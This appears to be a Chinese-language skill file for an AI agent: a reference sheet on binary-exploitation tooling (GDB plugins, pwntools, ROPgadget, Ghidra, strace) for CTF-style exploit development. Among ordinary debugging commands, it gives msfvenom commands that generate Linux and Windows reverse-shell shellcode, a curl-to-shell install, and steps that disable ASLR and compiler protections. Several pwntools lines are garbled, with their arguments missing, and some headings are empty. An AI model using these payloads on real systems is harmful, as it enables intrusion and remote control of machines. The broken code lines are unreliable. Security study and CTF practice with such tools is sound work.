| name | binary-exploitation-tools |
| description | 二进制漏洞利用工具集参考。涵盖调试工具(GDB/GEF/pwndbg/r2)、利用开发框架(pwntools/ROPgadget/one_gadget)、反编译工具(Ghidra/IDA/Binary Ninja)、动态分析工具(ltrace/strace/valgrind)。当 Agent 需要选择合适的二进制分析工具、了解工具使用方法、或搭建利用开发环境时触发。 |
| metadata | {"tags":"gdb,pwntools,ghidra,ropgadget,二进制工具,调试,反编译","category":"exploit/binary"} |
二进制漏洞利用工具集
核心原则:根据目标场景选择工具组合 → 调试定位漏洞 → 利用框架开发 exploit → 反编译辅助逆向分析
深入参考
Phase 1: 工具选择决策树
场景 → 工具选择:
├─ 需要调试二进制(设断点/单步/查看内存)
│ ├─ Linux ELF → GDB + GEF 或 pwndbg
│ ├─ Windows PE → x64dbg / WinDbg / Immunity Debugger
│ └─ 远程/嵌入式 → gdbserver + gdb-multiarch
├─ 需要反编译/逆向分析
│ ├─ 免费 + 功能强大 → Ghidra
│ ├─ 商业标准 → IDA Pro
│ ├─ 轻量命令行 → radare2 (r2)
│ └─ 快速查看汇编 → objdump
├─ 需要开发利用代码
│ ├─ Python exploit 框架 → pwntools
│ ├─ ROP gadget 搜索 → ROPgadget / ropper
│ ├─ libc one-shot shell → one_gadget
│ └─ Shellcode 生成 → msfvenom
├─ 需要动态追踪
│ ├─ 系统调用追踪 → strace
│ ├─ 库函数调用追踪 → ltrace
│ ├─ 内存错误检测 → valgrind
│ └─ 动态插桩 → Frida
├─ 需要编译测试二进制
│ └─ GCC(控制保护选项编译)
└─ 需要偏移量计算
├─ pwntools cyclic
└─ Metasploit pattern_create / pattern_offset
Phase 2: 调试工具
GDB 基础
sudo apt-get install gdb
gdb -q ./target_binary
gdb -q -x commands.gdb ./binary
gdb -q -p <pid>
GDB 核心命令
run
start
n / next / ni
s / step / si
c / continue
finish
br main
br *0x401234
br *main+23
del <num>
watch <expression>
info functions
info registers
bt
bt full
print <variable>
p system
disassemble main
set disassembly-flavor intel
x/20gx $rsp
x/s <addr>
x/i $rip
x/10i $rip
set $rip = 0x401234
set follow-fork-mode child
GEF (GDB Enhanced Features)
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
checksec
canary
vmmap
xinfo <addr>
search-pattern "/bin/sh"
got
memory watch <addr> <size> byte
format-string-helper
heap-analysis-helper
pattern create 200
pattern search $rsp
shellcode search x86
shellcode get 61
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
GDB 调试技巧
pwndbg(GDB 替代增强插件)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
Phase 3: 利用开发框架
pwntools
from pwn import *
context.binary = elf = ELF('./binary')
context.log_level = 'debug'
p = process('./binary')
p = remote('host', port)
p = gdb.debug('./binary', 'b main')
p.sendline(b'payload')
p.send(b'data')
p.recv(1024)
p.recvline()
p.recvuntil(b'> ')
p.interactive()
elf.symbols['main']
elf.got['puts']
elf.plt['puts']
next(elf.search(b'/bin/sh'))
p64(0xdeadbeef)
p32(0xdeadbeef)
u64(data.ljust(8, b'\x00'))
cyclic(200)
cyclic_find(0x61616168)
rop = ROP(elf)
rop.call(, [elf.got[]])
rop.call()
(rop.dump())
ROPgadget
ROPgadget --binary ./binary
ROPgadget --binary ./binary --only "pop|ret"
ROPgadget --binary ./binary | grep "pop rdi ; ret"
ROPgadget --binary ./binary | grep "pop rsi"
ROPgadget --binary ./binary | grep "syscall"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"
ropper
ropper --file ./binary --search "pop rdi"
ropper --file ./binary --search "jmp esp"
ropper --file ./binary --chain execve
one_gadget
one_gadget /lib/x86_64-linux-gnu/libc.so.6
Metasploit 工具
msf-pattern_create -l 3000
msf-pattern_offset -l 3000 -q 5f97d534
msf-nasm_shell
msfelfscan -j esi /path/to/binary
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b "\x00\x0a\x0d"
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f c
Phase 4: 反编译与逆向工具
Ghidra
使用场景:
├─ 免费反编译(C 伪代码输出质量高)
├─ 查找栈溢出偏移(通过局部变量位置信息)
│ └─ local_bc 表示缓冲区偏移 0xbc
│ └─ local_10 如果是 canary → 从 local_bc 到 canary 偏移 0xac
├─ 交叉引用分析(找到调用 system/exec 的路径)
├─ 字符串搜索与引用追踪
└─ 脚本自动化分析(Java/Python API)
IDA Pro
使用场景:
├─ 商业级反编译(Hex-Rays 反编译器)
├─ 远程调试 Linux 二进制
│ └─ 目标: ./linux_server64 -Ppass
│ └─ IDA: Debugger → Process options → 配置远程 IP
├─ 丰富的插件生态
└─ 高级分析功能(类型恢复、结构体重建)
radare2 (r2)
r2 -A ./binary
rabin2 -i ./binary
objdump
objdump -d -Mintel ./binary
objdump -t ./binary
objdump -D ./binary
objdump -s -j .got ./binary
objdump -s -j .plt ./binary
objdump -t --dynamic-relo ./binary | grep puts
objdump -D ./binary | grep "VAR_NAME"
objdump -TR ./binary
Phase 5: 动态分析工具
strace / ltrace
strace ./binary
strace -f ./binary
strace -e trace=read,write ./binary
ltrace ./binary
ltrace -e strcmp ./binary
库地址与偏移查找
ldd ./binary | grep libc.so.6
for i in $(seq 0 20); do ldd ./binary | grep libc; done
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
Core Dump 分析
ulimit -c unlimited
sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
gdb --core=/tmp/core-binary.1234 --quiet ./binary
qltool (Qiling 框架)
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./binary
Immunity Debugger (Windows)
!mona modules
!mona find -s "\xff\xe4" -m module.dll
GCC 编译选项(测试用)
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack -o vuln vuln.c
nasm -f elf64 shellcode.asm
ld shellcode.o -o shellcode
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
工具速查
| 类别 | 工具 | 用途 |
|---|
| 调试 | GDB + GEF | Linux 标准调试器 + 增强插件 |
| 调试 | pwndbg | GDB 另一款增强插件 |
| 调试 | gdb-multiarch | 跨架构远程调试 |
| 调试 | x64dbg | Windows 调试器 |
| 利用框架 | pwntools | Python exploit 开发 |
| 利用框架 | ROPgadget | ROP gadget 搜索 |
| 利用框架 | ropper | gadget 搜索 + chain 生成 |
| 利用框架 | one_gadget | libc one-shot shell |
| 利用框架 | msfvenom | shellcode 生成 |
| 逆向 | Ghidra | 免费反编译器 |
| 逆向 | IDA Pro | 商业反编译器 |
| 逆向 | radare2 | 命令行逆向框架 |
| 逆向 | objdump | 快速反汇编 |
| 动态分析 | strace | 系统调用追踪 |
| 动态分析 | ltrace | 库函数追踪 |
| 动态分析 | Frida | 动态插桩 |
| 编译 | GCC / nasm | 测试二进制编译 |